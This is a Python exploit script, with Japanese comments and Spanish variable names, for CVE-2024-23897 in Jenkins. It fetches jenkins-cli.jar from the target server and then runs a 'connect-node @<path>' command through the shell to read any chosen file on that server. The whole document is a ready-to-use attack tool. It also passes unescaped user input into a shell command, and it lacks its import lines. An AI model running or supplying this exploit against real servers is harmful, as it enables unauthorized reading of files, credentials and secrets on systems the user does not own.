def banner():
    """
    ツールの装飾バナーを表示します。
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \| ___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

def descargar_jar(ip, puerto):
    """
    指定されたJenkinsサーバーからjenkins-cli.jarファイルをダウンロードします。

    Args:
        ip (str): JenkinsサーバーのIPアドレス。
        puerto (str): Jenkinsサーバーのポート。

    Returns:
        bool: ダウンロード成功時はTrue、失敗時はFalse。
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] ファイルをダウンロードできませんでした。ステータスコード: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] リクエスト中にエラーが発生しました: {errorhttp}")
        return False

def attack_payload(ip, puerto, ruta):
    """
    Jenkinsノードに接続するためのペイロードを実行します。

    Args:
        ip (str): JenkinsサーバーのIPアドレス。
        puerto (str): Jenkinsサーバーのポート。
        ruta (str): 読み取るファイルのパス。
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] ノード接続の試行中にエラーが発生しました: {error_payload}\n")

def main():
    """
    引数を解析し、対応する関数を実行するメイン関数。
    """
    parser = argparse.ArgumentParser(description="\n[+] CVE-2024-23897を悪用するエクスプロイト\n")
    parser.add_argument("ip", type=str, help="\n[+] JenkinsサーバーのIPアドレス\n")
    parser.add_argument("puerto", type=str, help="\n[+] Jenkinsサーバーのポート\n")
    parser.add_argument("ruta", type=str, help="\n[+] 読み取るファイルのパス\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

if __name__ == '__main__':
    main()

pip install requests